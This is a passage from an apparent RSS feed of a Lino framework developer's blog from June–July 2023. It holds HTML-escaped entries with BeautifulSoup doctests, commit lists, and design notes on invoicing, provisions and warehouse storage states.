&lt;span class="go"&gt;&amp;#39;p&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;A bold and italic thing.&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;bold&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;bold&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;[&amp;#39;A &amp;#39;, &amp;#39;bold&amp;#39;, &amp;#39; and &amp;#39;, &amp;#39;italic&amp;#39;, &amp;#39; thing.&amp;#39;]&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;[&amp;#39;A &amp;#39;, &amp;#39;bold&amp;#39;, &amp;#39; and &amp;#39;, &amp;#39;italic&amp;#39;, &amp;#39; thing.&amp;#39;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;children&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;[&amp;#39;A &amp;#39;, &amp;lt;b&amp;gt;bold&amp;lt;/b&amp;gt;, &amp;#39; and &amp;#39;, &amp;lt;i&amp;gt;italic&amp;lt;/i&amp;gt;, &amp;#39; thing.&amp;#39;]&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;children&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;[&amp;lt;p&amp;gt;A &amp;lt;b&amp;gt;bold&amp;lt;/b&amp;gt; and &amp;lt;i&amp;gt;italic&amp;lt;/i&amp;gt; thing.&amp;lt;/p&amp;gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;children&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="go"&gt;[None, &amp;#39;b&amp;#39;, None, &amp;#39;i&amp;#39;, None]&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;children&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="go"&gt;[&amp;#39;p&amp;#39;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Modifying the content:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;&amp;lt;b&amp;gt;bold&amp;lt;/b&amp;gt;&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;&amp;lt;b&amp;gt;bo&amp;lt;/b&amp;gt;&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;very bold&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;&amp;lt;b&amp;gt;very bold&amp;lt;/b&amp;gt;&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;&amp;lt;p&amp;gt;A &amp;lt;b&amp;gt;very bold&amp;lt;/b&amp;gt; and &amp;lt;i&amp;gt;italic&amp;lt;/i&amp;gt; thing.&amp;lt;/p&amp;gt;&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.modlib.memo.mixins&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;truncate_comment&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;tc&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;tc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;p&amp;gt;A &amp;lt;b&amp;gt;bold&amp;lt;/b&amp;gt; and &amp;lt;i&amp;gt;italic&amp;lt;/i&amp;gt; thing.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;A &amp;lt;b&amp;gt;bold&amp;lt;/b&amp;gt; and &amp;lt;i&amp;gt;italic&amp;lt;/i&amp;gt; thing.\n\n&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;tc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;p&amp;gt;A plain paragraph with more than 20 characters.&amp;lt;/p&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;A plain paragraph wi...&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0712.html</guid><pubDate>Wed, 12 Jul 2023 00:00:00 +0000</pubDate></item><item><title>Monday, July 10, 2023</title><link>https://luc.lino-framework.org/blog/2023/0710.html</link><description>&lt;section id="monday-july-10-2023"&gt;
&lt;h1&gt;Monday, July 10, 2023&lt;a class="headerlink" href="#monday-july-10-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I pushed my work of the last weeks for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4551"&gt;#4551&lt;/a&gt;.  Because tomorrow I will
move back from Belgium to Estonia and I wanted to have these things published
before. I admit that there are still 5 failures in the book, and presto isn’t
yet adapted at all. But neither avanti nor amici are affected by these changes,
and in Jane it would be okay to have some surprises.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2023-07-10 22:31 in &lt;em&gt;lino&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/lino.git"&gt;9e546e5&lt;/a&gt;
(&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2023/0710.html"&gt;https://luc.lino-framework.org/blog/2023/0710.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-10 22:31 in &lt;em&gt;xl&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/xl.git"&gt;978eed1&lt;/a&gt;
(&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2023/0710.html"&gt;https://luc.lino-framework.org/blog/2023/0710.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-10 22:31 in &lt;em&gt;noi&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/noi.git"&gt;62e4f1b&lt;/a&gt;
(&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2023/0710.html"&gt;https://luc.lino-framework.org/blog/2023/0710.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-10 22:32 in &lt;em&gt;noi&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/noi.git"&gt;09913e0&lt;/a&gt;
(Merge branch ‘master’ of gitlab.com:lino-framework/noi)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-10 22:32 in &lt;em&gt;voga&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/voga.git"&gt;ed75fd6&lt;/a&gt;
(&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2023/0710.html"&gt;https://luc.lino-framework.org/blog/2023/0710.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-10 22:32 in &lt;em&gt;avanti&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/avanti.git"&gt;387e8d7&lt;/a&gt;
(&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2023/0710.html"&gt;https://luc.lino-framework.org/blog/2023/0710.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-10 22:33 in &lt;em&gt;tera&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/tera.git"&gt;537415a&lt;/a&gt;
(&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2023/0710.html"&gt;https://luc.lino-framework.org/blog/2023/0710.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-10 22:33 in &lt;em&gt;book&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/book.git"&gt;2ebef90&lt;/a&gt;
(&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2023/0710.html"&gt;https://luc.lino-framework.org/blog/2023/0710.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-10 22:34 in &lt;em&gt;welfare&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/welfare.git"&gt;0b9c891&lt;/a&gt;
(&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2023/0710.html"&gt;https://luc.lino-framework.org/blog/2023/0710.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-10 22:35 in &lt;em&gt;ext6&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/extjs6/commit/6c8cf927e265bf23ad15d07da0b01c087c7bff07"&gt;c7bff07&lt;/a&gt;
(&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2023/0710.html"&gt;https://luc.lino-framework.org/blog/2023/0710.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-10 22:39 in &lt;em&gt;getlino&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/getlino.git"&gt;1cc0e5c&lt;/a&gt;
(Optimize healthcheck.sh)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Fix the remaining failures in book&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Fix the test suites in welfare, presto, etc&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0710.html</guid><pubDate>Mon, 10 Jul 2023 00:00:00 +0000</pubDate></item><item><title>Saturday, July 1, 2023</title><link>https://luc.lino-framework.org/blog/2023/0701.html</link><description>&lt;section id="saturday-july-1-2023"&gt;
&lt;h1&gt;Saturday, July 1, 2023&lt;a class="headerlink" href="#saturday-july-1-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0701.html</guid><pubDate>Sat, 01 Jul 2023 00:00:00 +0000</pubDate></item><item><title>Wednesday, June 21, 2023</title><link>https://luc.lino-framework.org/blog/2023/0621.html</link><description>&lt;section id="wednesday-june-21-2023"&gt;
&lt;h1&gt;Wednesday, June 21, 2023&lt;a class="headerlink" href="#wednesday-june-21-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;What to do when use_linod but supervisor is down&lt;/p&gt;
&lt;p&gt;snapshot/restore.py:21: RemovedInDjango50Warning: The django.utils.timezone.utc alias is deprecated. Please update your code to use datetime.timezone.utc instead.&lt;/p&gt;
&lt;p&gt;On Jane I saw:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="mi"&gt;484412&lt;/span&gt; &lt;span class="n"&gt;objects&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;part&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt; &lt;span class="n"&gt;linod_job&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;In other words, the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;linod.Job&lt;/span&gt;&lt;/code&gt; table is quite
big. That’s because linod creates a new row for every little job.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0621.html</guid><pubDate>Wed, 21 Jun 2023 00:00:00 +0000</pubDate></item><item><title>Monday, June 19, 2023</title><link>https://luc.lino-framework.org/blog/2023/0619.html</link><description>&lt;section id="monday-june-19-2023"&gt;
&lt;h1&gt;Monday, June 19, 2023&lt;a class="headerlink" href="#monday-june-19-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The changes for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4551"&gt;#4551&lt;/a&gt; will replace the “event pass” approach, which is
used in Lino Voga where we collect “events” in the volatile
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;InvoicingInfo&lt;/span&gt;&lt;/code&gt; object. This approach will be replaced by a new journal
of “delivery notes”. In Voga these delivery notes are internal: the customer
usually don’t need them. Lino can generate them more or less automatically.&lt;/p&gt;
&lt;p&gt;About the ProvisionFiller mixin.  A provision filler is an invoice generator
that creates invoices when a given provision has reached a given minimal
quantity. For example:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Voga : the participant buys an entry pass for 10 sessions, and when 8 of these
sessions have been used up, the customer receive an invoice in order to buy a
next entry pass. This is called continuous enrolment.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Noi : the customer buys a time credit of 5 hours, and when this credit is used
up, they receive an invoice that invites them to buy new time credit.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0619.html</guid><pubDate>Mon, 19 Jun 2023 00:00:00 +0000</pubDate></item><item><title>Saturday, June 17, 2023</title><link>https://luc.lino-framework.org/blog/2023/0617.html</link><description>&lt;section id="saturday-june-17-2023"&gt;
&lt;h1&gt;Saturday, June 17, 2023&lt;a class="headerlink" href="#saturday-june-17-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I found and fixed a bug in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.utils.quantities.html#module-lino.utils.quantities" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.quantities&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; : Lino sometimes
produced nonsense when working with &lt;a class="reference external" href="https://dev.lino-framework.org/dev/quantities.html#negative-durations" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-ref"&gt;negative durations&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I replaced “cooperation” and “co-operation” in the docs by “collaboration”
because I was irritated by that fact that I still can’t decide which spelling I
prefer. And also after reading &lt;a class="reference external" href="https://hbr.org/2015/04/theres-a-difference-between-collaboration-and-collaboration"&gt;this article&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0617.html</guid><pubDate>Sat, 17 Jun 2023 00:00:00 +0000</pubDate></item><item><title>Wednesday, June 7, 2023</title><link>https://luc.lino-framework.org/blog/2023/0607.html</link><description>&lt;section id="wednesday-june-7-2023"&gt;
&lt;h1&gt;Wednesday, June 7, 2023&lt;a class="headerlink" href="#wednesday-june-7-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;(The following is now maintained in &lt;a class="reference external" href="https://using.lino-framework.org/plugins/storage.html#ug-plugins-storage" title="(in Lino User Guide)"&gt;&lt;span&gt;The storage plugin&lt;/span&gt;&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;I am still meditating for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4551"&gt;#4551&lt;/a&gt; (A first example of warehouse
management). Continued from &lt;a class="reference internal" href="0527.html"&gt;&lt;span class="doc"&gt;Saturday, May 27, 2023&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;provision&lt;/strong&gt; (Vorrat) is when a given quantity of a given product is in a
given &lt;em&gt;storage state&lt;/em&gt; for a given partner.&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;storage state&lt;/strong&gt; is a name given to a certain type of &lt;em&gt;provision&lt;/em&gt;.  Some
typical storage states:&lt;/p&gt;
&lt;table class="docutils align-default"&gt;
&lt;tbody&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;01&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;auf Lager&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;in stock&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;02&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;bestellt vom Kunden&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;ordered by customer&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;03&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;bestellt bei Lieferant&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;ordered from provider&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;04&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;ausgeliehen&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;rented out&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;05&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;beschädigt&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;damaged&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;06&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;in Reparatur&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;under repair&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;07&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;gekauft&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;purchased&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;In Lino Noi we would use only one storage state “purchased”, and two transfer
rules:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;A sales invoice (SLS) &lt;em&gt;credits&lt;/em&gt; “purchased”&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A service report (SRV) &lt;em&gt;debits&lt;/em&gt; “purchased”&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And there would be only one product with storage management enabled, and
that product would be named “Time credit”. Maybe there will be multiple
products in order to differentiate between “temporary” (befristet) and
“timeless” (unbefristet) time credit.&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;subscription agreement&lt;/em&gt; must somehow specify the “required provision”, which
means that the customer must always have a minimum provision of time credit. For
example they buy 10 hours, which are being used up with each working session,
and when the time credit gets used up they want to buy new credit. This can be
done by &lt;cite&gt;Subscription.get_wanted_invoice_items&lt;/cite&gt;. For each subscription that has such a
“required provision”, it would check whether the partner still has enough
provision. If not, it would generate an invoice to buy new time credit.&lt;/p&gt;
&lt;p&gt;To specify this, we could simply add three new fields:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;“product” : a pointer to the “Time credit” product&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;a minimum quantity (e.g. 5 hours)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;an order quantity (e.g. 10 hours)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This reminds what  the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Tariff&lt;/span&gt;&lt;/code&gt; model and the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;InvoicingInfo&lt;/span&gt;&lt;/code&gt;
class do until now. And indeed the storage plugin will partly replace these
classes.&lt;/p&gt;
&lt;p&gt;We have two basic approaches for generating invoices:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_invoicing_periodicity()&lt;/span&gt;&lt;/code&gt; or “period-based invoicing” : The enrolment
